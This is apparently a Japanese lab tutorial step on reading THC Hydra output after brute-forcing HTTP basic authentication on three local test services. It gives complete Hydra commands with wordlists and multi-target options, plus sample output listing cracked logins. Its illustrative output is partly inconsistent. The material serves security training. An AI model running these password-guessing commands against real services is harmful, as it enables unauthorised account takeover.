複数のホストに対する出力結果を確認する
このステップでは、複数の HTTP ターゲットを攻撃する場合の Hydra の出力の解釈方法を学びます。Hydra の出力は、さまざまな Web サービスにおける攻撃試行の成功または失敗に関する貴重な情報を提供します。
Hydra が HTTP 基本認証のパスワードを正常にクラッキングすると、次の形式で認証情報を表示します。
[<ポート>][http-get] host: <ホスト> login: <ユーザー名> password: <パスワード>
たとえば:
[8081][http-get] host: 127.0.0.1 login: admin password: password123
これは、Hydra がホスト 127.0.0.1 のポート 8081 でユーザー admin の HTTP 基本認証をパスワード password123 を使用して正常にクラッキングしたことを示しています。
HTTP 攻撃からの出力を分析し、さまざまな結果が何を意味するかを理解しましょう。
-
すべての出力を確認するために、完全な Hydra 攻撃コマンドをもう一度実行します。
cd ~/project
hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /
-
詳細な出力を確認します。3 つのターゲットすべてに関する結果が表示されるはずです。
期待される包括的な出力:
Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
[DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task
[DATA] attacking http-get://127.0.0.1:8081:80/
[DATA] attacking http-get://127.0.0.1:8082:80/
[DATA] attacking http-get://127.0.0.1:8083:80/
[8081][http-get] host: 127.0.0.1 login: admin password: password123
[8082][http-get] host: 127.0.0.1 login: user password: secret
[8083][http-get] host: 127.0.0.1 login: testuser password: password
1 of 3 targets completed, 3 valid passwords found
Hydra finished.
-
失敗した試行の様子を確認するために、いくつかの無効な認証情報を持つシナリオを作成します。主に間違ったパスワードを含む新しいパスワードファイルを作成します。
echo "wrongpass" > wrong_passwords.txt
echo "badpass" >> wrong_passwords.txt
echo "password123" >> wrong_passwords.txt ## 正しいパスワードは一つだけ
-
詳細な出力を表示するように Hydra を実行して、成功した試行と失敗した試行の両方を確認します。
hydra -L users.txt -P wrong_passwords.txt -t 4 -v -M targets.txt http-get /
成功した試行を示す詳細な出力が表示されます。
// 省略
[8081][http-get] host: 127.0.0.1 login: admin password: password123
// 省略
-
後の分析のために結果をファイルに保存します。
hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get / -o hydra_results.txt
結果ファイルを確認します。
cat hydra_results.txt
HTTP 攻撃結果の解釈方法:
- 成功した攻撃:
[ポート][http-get] で始まる行は、認証情報の発見を示します。
- ターゲット情報: 各成功した結果には、正確なホスト、ポート、ユーザー名、パスワードが表示されます。
- 概要統計: 最終行には、攻撃されたターゲット数と見つかった有効なパスワード数が表示されます。
- 失敗した試行: 詳細モードを使用すると、各失敗したログイン試行を確認できます。
- 出力ファイル:
-o を使用すると、分析が容易になるように成功した結果のみをファイルに保存できます。
他のプロトコルとの主な違い:
- HTTP 攻撃では、結果にポート番号が明確に表示されます。
- 応答時間は、SSH 攻撃よりも通常高速です。
- 同じサーバー上の複数の認証領域は、異なるターゲットとして表示されます。
- HTTP ステータスコード (401、403 など) は、失敗に関する追加のコンテキストを提供します。
このステップでは、複数の HTTP ターゲットを攻撃する場合の Hydra の出力の解釈方法、成功した試行と失敗した試行の違い、および分析のために結果を保存する方法を学びました。この知識は、効果的な Web アプリケーションのセキュリティテストに不可欠です。